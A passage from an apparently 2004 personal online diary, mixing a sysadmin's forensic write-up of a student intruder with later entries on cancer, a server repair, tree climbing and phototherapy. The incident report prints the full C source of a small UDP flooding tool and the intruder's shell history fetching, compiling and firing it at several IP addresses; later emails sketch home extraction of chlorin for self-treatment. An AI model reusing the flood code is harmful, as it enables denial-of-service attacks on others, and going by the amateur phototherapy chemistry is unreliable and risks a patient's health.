scattered, I'd had little sleep and was still mentally processing a lot of
|
|
stuff from the night before, where I'd spent the wee hours busting a UNSW
|
|
student, Indonesian script-kiddie 3l33t hax0r who, according to emails
|
|
sent later from my erstwhile employers, has been significantly fucking
|
|
them around for the best part of a year and according to the logs on
|
|
Conway has been impersonating me and executing things under my account
|
|
name for about a week. I am not dead sure the cracker was the reason for
|
|
conway's erratic behaviour, but it correlates.
|
|
|
|
Here's what I sent 'em:
|
|
|
|
----------------------------------------------------------------------------
|
|
----------------------------------------------------------------------------
|
|
|
|
From predator@cat.org.au Fri Feb 27 00:57:43 2004
|
|
Date: Thu, 26 Feb 2004 03:25:27 +1100 (EST)
|
|
From: predator@cat.org.au
|
|
To: catgeek@cat.org.au
|
|
Cc: xxxxxxx@unsw.edu.au
|
|
Subject: I've been sniffed by a UNSW user! mine and rootpwd has changed
|
|
|
|
I came here to cat.org.au tonight (12:30am 26 Feb) and noticed that there
|
|
was LOTS of activity on the hub (as in, 10mbit full saturation). Conway
|
|
was hellishly busy. I logged in at the tty and noticed this login from
|
|
129.94.222.175 which resolves to somewhere in the UNSW Faculty of Commerce
|
|
and Economics, probably to quad lab 3 or 4 on the first floor.
|
|
|
|
My passwd has since been changed. Rootpwd on conway has also been changed.
|
|
chkrootkit indicates nothing (yet).
|
|
|
|
top indicated a process was eating lots of CPU and was running from my
|
|
directory. Its name was hajar. It has been installed on the 19th of Feb at
|
|
2:37am. It is accessible at:
|
|
|
|
/home/predator/ /hajar" and is 6267 bytes long.
|
|
|
|
It's a binary executable. Execution permissions have now been removed and
|
|
the file frozen. The executables were compiled on Feb 19.
|
|
|
|
TCP ports open on the originating UNSW machine above are:
|
|
25, 135, 139, 161, 162, 427, 445, 593, 1025, 4444, 5000
|
|
|
|
Whoever this character is they left a lot of profile fingerprints in the
|
|
.bash_history file, segments of which are presented below with
|
|
commentaries:
|
|
|
|
|
|
166 logout <-me logging off
|
|
167 w <-him/her logged on, looking around
|
|
168 ps x <- I never do ps x, always ps aux
|
|
169 w
|
|
170 df -h
|
|
171 whoami <-I already *know* who I am
|
|
172 mkdir
|
|
173 mkdir " " <--getting sneaky
|
|
174 cd " "
|
|
175 wget http://www.psychoid.lam3rz.de/psyBNC2.3.1.tar.gz
|
|
176 tar zxvf psyBNC2.3.1.tar.gz
|
|
177 cd psybnc
|
|
|
|
psyBNC is an mIRC bouncer, whatever that is (a relay?)
|
|
|
|
Now this is interesting. I can't find a symlink but slocate finds psybnc
|
|
unpacked in /home/catskills/.../psybnc ... la -lurt indicates fairly
|
|
recent usage of most of it. This has also had x permissions removed
|
|
and has been frozen too. Also note the username permissions... cam??
|
|
|
|
total 748
|
|
-rw------- 1 cam cam 3756 Feb 22 12:09 targets.mak
|
|
-rw-r--r-- 1 cam cam 854 Feb 22 12:09 salt.h
|
|
-rw-r--r-- 1 cam cam 369 Feb 22 12:09 psybncchk
|
|
-rw------- 1 cam cam 1531 Feb 22 12:09 psybnc.conf
|
|
-rw-r--r-- 1 cam cam 5992 Feb 22 12:09 makesalt
|
|
-rw-r--r-- 1 cam cam 704 Feb 22 12:09 makefile.out
|
|
-rw------- 1 cam cam 783 Feb 22 12:09 config.h
|
|
-rw-r--r-- 1 cam cam 76 Feb 22 12:09 TODO
|
|
-rw-r--r-- 1 cam cam 36674 Feb 22 12:09 README
|
|
-rw-r--r-- 1 cam cam 1347 Feb 22 12:09 Makefile
|
|
-rw-r--r-- 1 cam cam 2660 Feb 22 12:09 FAQ
|
|
-rw------- 1 cam cam 17982 Feb 22 12:09 COPYING
|
|
-rw-r--r-- 1 cam cam 19875 Feb 22 12:09 CHANGES
|
|
-rw------- 1 cam cam 6 Feb 22 12:09 psybnc.pid
|
|
-rw------- 1 cam cam 1558 Feb 22 12:09 psybnc.conf.old
|
|
-rw-r--r-- 1 cam cam 589768 Feb 22 12:09 psybnc
|
|
-rw------- 1 cam cam 113 Feb 22 12:09 USER2.LOG.old
|
|
-rw------- 1 cam cam 56 Feb 22 12:09 USER2.LOG
|
|
-rw------- 1 cam cam 493 Feb 22 12:09 USER1.LOG
|
|
drw-r--r-- 2 cam cam 4096 Feb 24 08:54 tools/
|
|
drw-r--r-- 2 cam cam 4096 Feb 24 08:54 src/
|
|
drw-r--r-- 3 cam cam 4096 Feb 24 08:54 scripts/
|
|
drw-r--r-- 2 cam cam 4096 Feb 24 08:54 motd/
|
|
drw-r--r-- 3 cam cam 4096 Feb 24 08:54 menuconf/
|
|
drw-r--r-- 2 cam cam 4096 Feb 24 08:54 log/
|
|
drw-r--r-- 2 cam cam 4096 Feb 24 08:54 help/
|
|
-------------------
|
|
|
|
See also /home/catskills/.../tare for (not listed here) a load of trawled
|
|
IP numbers. Anyway the dude gets the tarball and compiles the contents
|
|
|
|
178 ls -al
|
|
179 make menuconfig
|
|
180 make menuconf/
|
|
181 make menuconf
|
|
182 make menuconfig
|
|
183 cd ..
|
|
184 cd ..
|
|
185 ls
|
|
186 ls -al
|
|
187 cd " "
|
|
188 ls -al
|
|
|
|
Then removes the directory and the tarball itself
|
|
|
|
189 rm psybnc
|
|
190 rm -rf psybnc
|
|
191 rm psyBNC2.3.1.tar.gz
|
|
192 wget http://www.geocities.com/cafetaiwan/tembak.c
|
|
|
|
Interestingly enough this is still there on Geocities. It's a text file,
|
|
with C code in it. Here it is. Looking at the variable names whoever wrote
|
|
it is linguistically fluent with Indonesian.
|
|
|
|
------------
|
|
#include <stdio.h>
|
|
#include <sys/param.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <netdb.h>
|
|
#include <stdarg.h>
|
|
#define JENIS_PELURU "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
|
#define UKURAN_PELURU 45
|
|
|
|
int echo_connect(char *, short);
|
|
int echo_connect(char *server, short port)
|
|
{
|
|
struct sockaddr_in sin;
|
|
struct hostent *hp;
|
|
int thesock;
|
|
printf("\n");
|
|
printf("Pasukan..!!!! Tembaaaak %s ke port %d\n",
|
|
server, port);
|
|
hp = gethostbyname(server);
|
|
if (hp==NULL) {
|
|
printf("Di %s gak ada sasaran, Boss!!\n",server);
|
|
printf("\n");
|
|
exit(0);
|
|
}
|
|
bzero((char*) &sin, sizeof(sin));
|
|
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
|
|
sin.sin_family = hp->h_addrtype;
|
|
sin.sin_port = htons(port);
|
|
sin.sin_family = hp->h_addrtype;
|
|
sin.sin_port = htons(port);
|
|
thesock = socket(AF_INET, SOCK_DGRAM, 0);
|
|
connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
|
|
return thesock;
|
|
}
|
|
|
|
|
|
main(int argc, char **argv)
|
|
{
|
|
int s;
|
|
if(argc != 3)
|
|
{
|
|
printf("\n");
|
|
printf("Kirim Paket ke IP orang\n\n");
|
|
printf("Cara Pake : $ tembak hostname.orang port \n\n");
|
|
exit(0);
|
|
}
|
|
s=echo_connect(argv[1], atoi(argv[2]));
|
|
for(;;)
|
|
{
|
|
send(s, JENIS_PELURU, UKURAN_PELURU, 0);
|
|
}
|
|
}
|
|
|
|
They wrote it in July of 2002... or downloaded it to their directory in
|
|
2002. Lots of other uh... interesting tools there. Anyway, what the dude
|
|
does with his/her freshly compiled tool (note: probably doing CS, knows
|
|
how to use gcc compiler) is go launch attacks on other machines with
|
|
it. And read my mail. It's an exploit.
|
|
|
|
|
|
193 gcc -o hajar tembak.c
|
|
194 ls
|
|
195 w
|
|
196 ./hajar 80.144.184.19 51&
|
|
197 w
|
|
198 pine
|
|
199 pine
|
|
200 w
|
|
201 pine
|
|
202 pine
|
|
203 w
|
|
204 logout
|
|
|
|
248 logout
|
|
249 w
|
|
250 cd " "
|
|
251 ps x
|
|
252 ls
|
|
253 w
|
|
254 w
|
|
255 ./hajar 202.159.50.17 51&
|
|
256 w
|
|
257 last
|
|
258 last | more
|
|
259 pine
|
|
260 ssh turing <--- interesting. Checked out OK from .history. May be me!
|
|
261 exit
|
|
|
|
310 ls -ld
|
|
311 ls -l
|
|
312 ls -la p*
|
|
313 | more
|
|
314 ls -la p* | more
|
|
315 w
|
|
316 w
|
|
317 cd " "
|
|
318 ls
|
|
319 ./hajar 202.155.38.120 51&
|
|
320 w
|
|
321 pine
|
|
322 w
|
|
323 last | more
|
|
324 logout
|
|
|
|
361 cd " "
|
|
362 w
|
|
363 ls
|
|
364 ./hajar 203.173.147.137 51&
|
|
365 w
|
|
366 pine
|
|
367 w
|
|
368 logout
|
|
|
|
So here's me tonight:
|
|
|
|
500 logout
|
|
501 passwd <-ahem!
|
|
502 last | more <-who else has been on here lately?
|
|
503 sudo traceroute 129.94.222.175 <-- I know that machine.
|
|
504 pine
|
|
505 history | more
|
|
506 locate hajar
|
|
507 cd /hajar <--- ahh, the spaces!
|
|
508 cd "/home/predator/ /hajar" <- it's not a directory its a file.
|
|
509 ls -la "/home/predator/ /hajar" <-characterise it
|
|
510 pine "/home/predator/ /hajar" <--thinko
|
|
511 pico "/home/predator/ /hajar" <-- read it. Executable. Yuk!
|
|
512 ls -la "/home/predator/ /hajar"
|
|
513 chmod -x "/home/predator/ /hajar" <--- stop its execution.
|
|
514 ls -la "/home/predator/ /hajar" <-- check
|
|
515 chattr +i "/home/predator/ /hajar"<--freeze it
|
|
516 lsattr "/home/predator/ /hajar" <--check frozen
|
|
517 cd public_html/
|
|
518 ls
|
|
519 ls -lart GENC5001* > lart.txt <--check these havent been
|
|
520 ls -lart GENC5001* <-- messed with
|
|
521 history
|
|
522 history
|
|
523 history | more
|
|
524 history > history.txt <---interesting footprints!
|
|
|
|
---------------
|
|
|
|
Access dates (time/datestamp on conway is accurate) of interest from this
|
|
UNSW terminal are :
|
|
|
|
|
|
predator pts/4 129.94.222.175 Thu Feb 26 00:26 - 00:43 (00:16)
|
|
(this morning, I chopped their session off at 00:43)
|
|
|
|
predator pts/0 129.94.222.175 Sat Feb 21 13:29 - 13:47 (00:18)
|
|
predator pts/0 129.94.222.175 Fri Feb 20 16:41 - 16:59 (00:18)
|
|
predator pts/0 129.94.222.175 Fri Feb 20 16:10 - 16:10 (00:00)
|
|
predator pts/1 129.94.222.175 Thu Feb 19 18:56 - 21:24 (02:27)
|
|
|
|
and... check out those timestamps! Whoever they are has after-hours and
|
|
weekend access... possibly remotely.
|
|
|
|
I think it's reasonable to assume that whoever is/was doing this will show
|
|
up today (thurs, 26 Feb) and sit down at exactly the same machine, and
|
|
attempt to log in (which will show in our logs) to figure out why their
|
|
remotely installed IRC relay (?) isn't working any more. It's also likely
|
|
that whoever they are, they obtained my username/password via, say, a
|
|
sniffer which remains installed on the UNSW machine in question (to which
|
|
they return many times). Maybe they saw me type it in, which suggests a
|
|
student of GENC5001. Maybe, their name is Hajar (not super-likely but
|
|
anyway). Additionally it's likely whoever this is, is not only attacking
|
|
my system. In any case, all these other places they attack are probably
|
|
going to have UNSW IP numbers showing up in their logs as well as our IP
|
|
numbers.
|
|
|
|
Anyway, its 3:30 am and I need sleep now. If other geeks want to poke
|
|
around and suss out the system, you have my encouragement.
|
|
|
|
<predator>
|
|
|
|
----------------------------------------------------------------------------
|
|
----------------------------------------------------------------------------
|
|
|
|
They've been chasing him for several months, and he's been denying
|
|
everything, but it turns out with this evidence in the above posting they
|
|
comprehensively nailed him that afternoon, cos he did show up at the
|
|
machine in question just like I said he would. The timestamps point to
|
|
security camera videos of the labs, so he can be verified sitting in front
|
|
of a particular machine and launching attacks from it correlating with the
|
|
conway logs and timestamps on the videos. In all likelihood this means
|
|
|
|
0) academic misconduct is recorded in his files and fails his degree so 1)
|
|
he gets expelled from the university and 2) his student visa gets
|
|
cancelled and 3) he faces computer fraud charges and/or 3) he gets
|
|
deported anyway.
|
|
|
|
Like, yeah, does the dude think, let's fuck with an account belonging to
|
|
someone who calls himself predator and see what happens? Geeeenius. When
|
|
ya log into conway.cat.org.au it sez this:
|
|
|
|
Welcome to Catalyst - do not look into laser with remaining eye.
|
|
|
|
It's a quote from uh.. Isaac Asimov, or is it Robert Heinlein. It has to
|
|
do with learning from mistakes that have serious penalties attached. He
|
|
would have seen it five times by now... unless he'd already stared twice
|
|
into serious lasers. The laser doesn't care (see also geek humour).
|
|
|
|
I sorta do give a fuck but usually only one at a time... while I was uh,
|
|
non-performing, distracted, in the sack with the cookie manufacturer I was
|
|
thinking hard about wether to ride over to Randwick and sit down at the
|
|
adjacent terminal to the one he's stuffed full of hidden 'bots and proxies
|
|
and um, punch the piss out of him in front of the faculty security cameras
|
|
once he arrived and started typing things into a shell into my account.
|
|
|
|
No, he didn't fuck up any of my files (they're backed up anyway). He
|
|
screwed with my account (which is sudo-capable mind you - superuser
|
|
powers) and screwed with a machine a lot of people depend on. And he read
|
|
my mail. Prick. And wasted a lot of your time reading about it here.
|
|
|
|
Shayne at the guild at Murdoch says Marc Bell, who eventually nailed this
|
|
twit, should go easy on him. What do I think? Well, um, fuck him, whoever
|
|
he is. If Cookie Manufacturer hadn't invited me out for a fat-soaked
|
|
breakfast in Newtown there'd be a blood-soaked keyboard in Randwick -
|
|
amongst the prophylactics, massage oil and wireless networking hardware
|
|
there is a handy two foot length of 2x4 firewood in my backpack.
|
|
Fortunately for the script-kiddie, buggerall fuel in my 'cycle tank and I
|
|
was as hungry as hell.
|
|
|
|
Arrrh. Why should I give a fuck any more? Oh, I dunno. Other people are
|
|
grateful:
|
|
-------------------------------------------------------------------------------
|
|
-------------------------------------------------------------------------------
|
|
|
|
Date: Thu, 26 Feb 2004 19:51:27 +1100
|
|
From: Marc Bell <xxxxx@unsw.edu.au>
|
|
To: predator@cat.org.au
|
|
Subject: Re: (129.94.222.175) --- Machine with suspicious activity
|
|
|
|
>To: Marc Bell <xxxxx@unsw.edu.au>
|
|
>cc: UNSW Network Security Centre <network-abuse@explode.unsw.edu.au>,
|
|
> Graham Low 26/02/2004 04:41 <xxxxxx@unsw.edu.au>, Geoff Gordon
|
|
> <xxxxxxxxxx@unsw.edu.au>, Cong Tran PM <xxxxxxxxx@unsw.edu.au>, Matthew
|
|
> Tolhurst <xxxxxxxxxx@unsw.edu.au>
|
|
> Subject: Re: (129.94.222.175) --- Machine with suspicious activity
|
|
|
|
On Thu, 26 Feb 2004, Marc Bell wrote:
|
|
|
|
|
|
>> We got him.
|
|
>>
|
|
>> We've actually been tracking this guy for months since we suspected he was
|
|
>> the one that hacked our labs and got our admin accounts last year. But we
|
|
>> never had enough proof. But thanks to Predator (Mike? I think we know
|
|
>> you?), we've nailed it down.
|
|
|
|
> Congratulations - good on ya guys! Persistence pays off. Need a formal
|
|
> written stat dec about this? Just ask.
|
|
|
|
> Yeah, Mike Carlton's my real name. Don't be fooled by the drive-time AM
|
|
> radio shock-jock of the same cognomen. Tall, blond-haired, blue-eyed,
|
|
> black boots and no sense of decorum whatsoever? Yep, that's me.
|
|
|
|
>> We found the lab PC (.175) running IRC and a browser history full of
|
|
>> proxies and SSH clients, but no person to be seen. The account had been
|
|
>> logged in since about 9:30pm. As we were discussing this with our IT
|
|
>> Director (Geoff Gordon), the accused actually came into the lab (we knew
|
|
>> what he looked like from previous encounters), saw us standing around the
|
|
>> machine, looked a bit worried, and turned to leave. Geoff called him over,
|
|
>> and we had some interesting dialogue with the guy. He slipped out that he
|
|
>> was running bots and sharing software, but insisted it was all a 'game'.
|
|
>> In the end, we informed him that the PC is under investigation for a security
|
|
>> breach, and then let him go. It was only after we got back to the office
|
|
>> that we found Mike's email that pin pointed the time in which the accused
|
|
>> was logged on to .175, and basically proves it all beyond doubt for us. We
|
|
> are currently obtaining security camera tapes to hopefully show him sitting
|
|
> at the PC at the time of the event.
|
|
|
|
> Hmmm. I expect he won't be coming back to .175 rapidly. Did you actually
|
|
> get a real-world ID on the person in question? Hmmm. May have other
|
|
> machines similarly doing his bidding if he's been doing this stuff for as
|
|
> long as you say.
|
|
|
|
>> We've almost had him before, but I think we've got him this time. Thanks go
|
|
>> to Mike for an email that's got us all very excited down here in the
|
|
>> commerce lab technical support office!
|
|
|
|
> What?! Isn't my bad Darth Vader voice impersonation good enough?
|
|
> "Crash the network, Luke. It is your dessss-tiny!" 8-)
|
|
> Seriously tho, yeah, good on you all for keeping your eyes open and
|
|
> nabbing the chap... none of you need this hassle. Glad to help you out!
|
|
|
|
>I'm curious to know how he cracked me - sniffer? Keylogger?
|
|
|
|
>> Regards,
|
|
>> ___________________________________
|
|
>> Marc Bell
|
|
|
|
>Be well!
|
|
|
|
><predator>
|
|
|
|
Yep, we thought it was you ;). Anybody trying to hack you is out of their
|
|
mind in my opinion, you certainly know your stuff. As it turns out, it was
|
|
his undoing in the end.
|
|
|
|
You provided the missing link. The times in which he was doing the hacking,
|
|
and from what IP. Us finding his account logged in at that time, on that
|
|
machine with that IP, and him admitting he was logged in at that time, is
|
|
all we needed. That's the nail in the coffin. As I mentioned, we've had
|
|
evidence on this guy before, but he just denied it, and we were left with
|
|
no way to prove otherwise.
|
|
|
|
He's not the smartest guy around. Initially we tracked him because his
|
|
proxies he was running on our machines last year were logging everything he
|
|
was doing. He forgot to untick the box 'Log File' in his little
|
|
application. From there we worked out where he was, which ultimately led to
|
|
us getting his student number and address.
|
|
|
|
It turned nasty when he went from running proxy servers and system shut
|
|
down timers from one other student's account, to cracking other accounts.
|
|
Our admin accounts were some of them. This he would have done via somehow
|
|
installing services on our machines that logged keys or sniffed packets.
|
|
This was all around 6 months ago, and since we couldn't prove anything
|
|
concrete, we just had to make our systems more secure (which was the only
|
|
good outcome of the whole thing). Since then, he has only been able to run
|
|
his applications from his own student account. Once he was logged out, the
|
|
app stopped running.
|
|
|
|
As for how he cracked your passwords, well it's hard to say. I've only
|
|
noticed one instance of a machine left logged in running a key logger. Have
|
|
you possibly used a PC in the lab that was already logged in without
|
|
logging them out? I would imagine he'd target the tutor machines mainly.
|
|
|
|
Oh by the way, well spotted on the 'indonesian' thing. He is indonesian ;).
|
|
|
|
Thanks again,
|
|
___________________________________
|
|
Marc Bell, Computer Systems Officer, Technical Support Group
|
|
Faculty of Commerce and Economics, The University of New South Wales
|
|
___________________________________
|
|
|
|
-------------------------------------------------------------------------------
|
|
-------------------------------------------------------------------------------
|
|
|
|
Well well well.
|
|
|
|
Terminology note: this dude was a cracker, not a hacker.
|
|
|
|
Must Sleep now. Sinful evening tomorrow ;-)
|
|
|
|
|
|
------------
|
|
|
|
Friday. Nothing to talk about really, 'cept a nice evening snogging Zyn
|
|
under a fig on the Tarpeian way at Bennelong Point. The possums and fruit
|
|
bats in the trees freaked her out tho. When I rubbed her tummy my fingers
|
|
told me of a strange, large mass which has no business being in there.
|
|
|
|
Joss rang up from Scotland and I was out. Mum answered the fone. Say no
|
|
more.
|
|
|
|
Marg Mayhem, the chick who pays me to stand nakked for three hours in
|
|
front of a bunch of artistic strangers (and to whom I shall bequeath my
|
|
dead-tree format pr0n) sent me a great CD of grainy bitmaps of Fuji's
|
|
Jesus Freak party from a week before I went to hospital. Great images,
|
|
some of them. I'll slap 'em up on a webpage someplace I think.
|
|
|
|
|
|
It's saturday 28.
|
|
|
|
Uh, yeah. I was crappin'on a few pages ago about carbonic anhydrase. It's
|
|
an enzyme expressed a lot by renal clear tumor cells like mine, for pH
|
|
regulation reasons. The thought had to do with vaccinating myself against
|
|
it. Would that be a cretinous idea? Where is it normally in the cell? I
|
|
was asking myself these questions as I dreamt. I was rudely woken by a
|
|
cold dog nose in the eyelid.
|
|
|
|
I slept in 'cos I got home at 4am after dropping Zyn at her place in ...
|
|
South Wentworthville! Holy shit... a long way away.
|
|
|
|
I woke up and walked the dog with the cold nose. On the way home I met a
|
|
local woman (Cathy) who held a mean-looking aussie bulldog on the end of a
|
|
lead and a cute looking fluffy poodle thing in her arm. We got chatting on
|
|
account of how the dogs interacted, which is the usual way of things, and
|
|
eventually I discovered that, for fuck's sake, her hubby has the same
|
|
cancer I do and is gettin' the chemo treatment with a free haircut without
|
|
clippers. I kept my trap shut about how these things don't give a rat's
|
|
about chemo. So we chatted about the usual boring cancer shit (didn't I
|
|
mention it takes over your conversation?) while her cute white fluffy
|
|
kamikazi attack-poodle thing skitzed out at Chloe (who was, as usual, took
|
|
it with calm dignified aplomb), and her *very* muscular bulldog latched
|
|
hard onto and started vigourously fucking my right leg. Cathy said he does
|
|
this to everyone so I shouldn't feel special. The friendly doggie, very
|
|
persistent, and was seriously enjoying it, too, had his pink out and all.
|
|
Cath and I kept chatting amidst this melee of bestiality and barking and I
|
|
eventually gave up trying to dissuade the dog from rooting my calf, so
|
|
people drove past, looked at this scene and smiled broadly, hooted their
|
|
horns, etc.
|
|
|
|
I hosed my rather scratched-up leg off as soon as I got home. I know what
|
|
you're gonna ask me. The answer is no.
|
|
|
|
|
|
Dad's bugged me for a few days about going up and checking his server,
|
|
which according to an employee of his (who, wouldn't ya know it, has
|
|
appendicitis) has apparently `lost a drive' - which is to say the OS
|
|
doesn't know where it is any more. I went up today and checked it out, and
|
|
the fan in the power supply had seized, the machine was hot to the touch,
|
|
and the 40Gb drive to which they back up their important shit (you know,
|
|
medical records, accounts, the guts of the business) has been cooked to
|
|
death. So we shut it down, took it home and I cracked it open.
|
|
|
|
Most people just crack open the main case and never crack open the power
|
|
supply. I cracked open the power supply too. I reckon if I'd left it
|
|
another week it'd have started a fire - when the fan siezed, other stuff
|
|
in the PSU started to cook ... there's charred sections of power supply
|
|
circuit board, electrolytic capacitors swollen to bursting point, oxides
|
|
growing on the feeds to the rectifiers, scaldmarks on the cowl. If this
|
|
thing had arced the vapours from the charring PCB would have lit up.
|
|
|
|
So I swapped it out with the one I fixed in Jan, bolted in a couple of
|
|
additional big fans on the back of the chassis (ex the DECserver I from
|
|
which I built the case of my machine), brushed all the dust out of the
|
|
removable drive bay and CPU heatsink, (I am not sure why but fried dust
|
|
smells different to regular dust) and dropped in the 13Gb drive I found
|
|
last week so there can be a backup made right away. It goes, and roars the
|
|
roar of a box which moves a lot of air. I'm running it overnight for
|
|
observation. Dad reckoned I should charge him commercially for this (half
|
|
a grand?) but dad gets mates rates for this one, and I'm happy to do it.
|
|
Gotta look after each other.
|
|
|
|
Shame about the dead drive. 40Gb down the toilet. Maybe if they'd mounted
|
|
it lower in the case it wouldn't have cooked. I mounted the replacement a
|
|
couple of bays down and had the odd thought that this machine's service
|
|
life will probably exceed mine.
|
|
|
|
|
|
Sunday:
|
|
|
|
In memory of trees.
|
|
|
|
The machine sat at room temperature all night, cool as a cucumber by
|
|
morning. When the oldies went around to my sister's place, I strapped into
|
|
my harness and got about 14m up the pine tree out the front, which the
|
|
neighbours want pruned 'cos it drops pine cones in their pool, the poor
|
|
dears. In the interests of good neighbourly relationships, I togged up in
|
|
the now frayed and dirty green seatbelt tape Mullet (who died in a 1995
|
|
mountaineering accident) cut for me in about 1993, held together by a
|
|
steel screwgate krab I got in Nepal in 1994. Pines are easy to climb and
|
|
the sap of this one smelt delightful, hot off the blade of the saw as I
|
|
cut off the branches. It was a bit of a bugger tho when the gale came. I
|
|
should have seen it coming, knowing what the clouds look like when the
|
|
southerlies normally arrive but I was busy paying attention to sawing off
|
|
the northwestern top branches. I was clipped into both major trunks and
|
|
self-belaying, so when it hit I quickly hung another sling a bit higher
|
|
up, stowed the blade below me, on the main length of dyno rope I'd
|
|
normally used to lower the offcut branches, and just hung on while the
|
|
tree and I heaved to and fro for about a quarter of an hour. The wind was
|
|
loud and the tree's groaning noises and funny oscillation harmonics were
|
|
kind of exhilarating, actually, aside from the odd pine cone in the back
|
|
of the'ead. I was glad to be roped on, though. I was only a little bit
|
|
scratched after the front passed.
|
|
|
|
Later on we re-instated dad's server. Walked doggie. Inspected cretinous
|
|
Sola UPS from Moz - which needs almost total disassembly before you can
|
|
change the damned batteries. Cleaned beer bottles for the next batch o'
|
|
home brew then realised I shouldn't drink beer 'cos the carb load feeds
|
|
the tumor. Gave a USB keyboard to XML and was subsequently, for reasons
|
|
unrelated to the keyboard, shagged by her - she's doing OK despite fucking
|
|
up her *other* knee in a motorcycle accident. And on the hunt for a
|
|
partner in a foursome. You go, girl!
|
|
|
|
|
|
Monday.
|
|
|
|
Nosh at Nomes' place - she cooked Jil, Greg and I a delishoyummie chook
|
|
dinner and I've snarfed a couple of cds of hers for the purpose of
|
|
copying, because they're copy-controlled (ha ha not) and now I know how to
|
|
do it. At about 11pm I dropped Joss' books in at Balmain, I let myself in
|
|
with the key her mum gave me in December, and was also looking for Jude to
|
|
give me back my copy of TIHKAL. I discovered Carole was killing cockies in
|
|
the kitchen since to do so at other times of the day brought down the
|
|
oppropbium of the buddhists on the premises.
|
|
|
|
The problem with Carole, if there is a problem with Carole, is that she
|
|
refuses to recognise hopeless cases for what they are, and offers me hope
|
|
where I really don't want any. I will, though, _have a go_ at this
|
|
oncogenic fucker. She thinks I should chop the neck thing out too.
|
|
|
|
She was gonna send me some phototherapy stuff in the post but I picked it
|
|
up locally. She writes it's crap, but this is maybe a false alarm on her
|
|
well-abused bullshit detector. Here's the transcripts of the emails we've
|
|
sent about it.
|
|
|
|
|
|
Phototherapy
|
|
|
|
|
|
From predator@cat.org.au Thu Mar 4 02:33:30 2004
|
|
Date: Wed, 3 Mar 2004 14:46:47 +1100 (EST)
|
|
From: predator@cat.org.au
|
|
To: carole hungerford <xxxxxxxxxxxxxxxxxxxxxxxxxx>
|
|
Subject: phototherapy
|
|
|
|
Hi dude. No, phototherapy is not in my opinion crap, it relies on the
|
|
patient taking a prodrug, usually a chemical which when bashed with
|
|
photons of the right wavelength will fall apart into ... guess what ..
|
|
free radicals! Stuff enough free radicals into a cell and it'll start
|
|
taking lots of molecular-level damage, as you know (I must chat to you
|
|
about free-radical polymerisation someday). If this is a tumor cell and
|
|
you damage it enough, it'll die (not by apoptosis mind you, but usually by
|
|
necrosis - different processes entirely). Pharmo companies are starting to
|
|
cash in, if my spy in Sudler.com.au (M.Sc chemist) who does their
|
|
advertising is to be believed. I think they're peddling the
|
|
(photodegradative) hydrochloride salt of methylaminolevulinic acid for
|
|
about $350 a gram at Sigma Aldrich. The light source is some predictably
|
|
overpriced chunk o' semiconductor.
|
|
|
|
The main wrinkles are:
|
|
|
|
0) knowing where the damned met is so you can shine yer light on it.
|
|
|
|
1) using frequencies of light which don't damage molecules in other cells.
|
|
Red is good for this, since it's e=hv is low since its wavelength is long.
|
|
Go shining lots of say, hard UV at cells and the nucleotides dimerise,
|
|
ionise, or otherwise fall to bits, the cells will die or become a tumor.
|
|
Red is also good since you can generate fairly wavelength-specific red
|
|
with various kinds of semiconductor light sources (light emitting diodes -
|
|
well developed tech 30 years old) and if you want super-specific aimable
|
|
monochromatic phase-locked light, you can use a laser (similar tech as
|
|
used in laser pointers).
|
|
|
|
I think $1500 for the light source is a disgusting, absolutely outrageous
|
|
rip off. Trawl the Farnell catalog for such a device as a 2.5 watt red LED
|
|
with significant emission at 662nm, I bet it won't set you back more than
|
|
a couple of hundred bucks even without any constant-current driver
|
|
circuitry - and Farnell are considered expensive by the hobbyist community
|
|
(I'll go check this now). There's NO need for thermoelectric (peltier)
|
|
cooling, either, at such low dissipations. I'm off for a look. You don't
|
|
need laser light to do the photoconversion, just light of the right
|
|
frequency. Lasers happen to be better to aim and more profitable to sell
|
|
8-)
|
|
|
|
(Hmmm... One could get a KTP frequency-doubling crystal and feed it with
|
|
something of double the wavelength to get the required light too. But
|
|
that's probably lossy and expensive too)
|
|
|
|
Anyway, looking at the A/wavelength curve you could be about 10nm short or
|
|
long and still do the work of getting the chlorin to drop a singlet
|
|
oxygen.
|
|
|
|
I've used real, floor-mounted Erbium lasers which can happily dump a few
|
|
joules into a 4 x 4 mm area in a fiftieth of a second. Everything dies, to
|
|
a depth of several mm. No need for such brute force with the prodrugs.
|
|
|
|
I could make chlorin myself with my existing glassware and rusty chemist
|
|
skills and chems (acetone to extract, HCl to remove Mg, NaOH to saponify)
|
|
available at Hardwarehouse, from oh, I dunno, grass clippings! I've done
|
|
all of these sorts of simple workups myself many times. Patents for these
|
|
reactions are plainly ludicrous and easily circumvented.
|
|
|
|
2) generating molecules which do in fact get taken up by tumor tissues.
|
|
Chlorin is a remnant of the standard kinds of metal-complexing porphyrins
|
|
which litter the photon-capturing machinery of the plant kingdom. In the
|
|
Russian paper you provided, there's really no need to get the chlorophyll
|
|
from spirulina (though its convenient). The acetone would pull across a
|
|
lot of other molecules with it tho, when doing the organic/aqueous phase
|
|
separation. You can make it from just about any plant with chlorophyll in
|
|
it (woody plants and cacti not recommended, the extraction is difficult,
|
|
in my experience).
|
|
|
|
3) using molecules which arent intrinsically toxic anyway. Porphyrins are
|
|
normally torn safely to bits by hepatic cytochromes. Don't use this stuff
|
|
if you're jaundiced tho.
|
|
|
|
The conference looks interesting. But wayyy too costly.
|
|
|
|
|
|
Cheeries...
|
|
|
|
<predator>
|
|
|
|
--------
|
|
|
|
|
|
From predator@cat.org.au Thu Mar 4 02:33:40 2004
|
|
Date: Wed, 3 Mar 2004 23:54:43 +1100 (EST)
|
|
From: predator@cat.org.au
|
|
To: carole hungerford <xxxxxxxxxxxxxxxxxxxxxxxxxxxxx>
|
|
Subject: RE: phototherapy
|
|
|
|
|
|
|
|
On Wed, 3 Mar 2004, carole hungerford wrote:
|
|
|
|
> Well there you go. My bullshit detctor is way too sensitive.
|
|
|
|
Don't knock it - a sensitive bullshit detector is well worth having since
|
|
there's soooo much concentrated, and sometimes subtle, bullshit out there.
|
|
|
|
Light's just another kind of radiation, in a part of the spectrum for
|
|
which the tech is well-developed, because it's immediately visible to the
|
|
naked eye. Since we chem dweebs know how to fabricate bespoke molecules by
|
|
required bond length, and the semiconductor dweebs know how to dope
|
|
silicon with atoms which get excited and, in order to relax emit photons
|
|
at certain frequencies, we can make and destroy molecules photonically
|
|
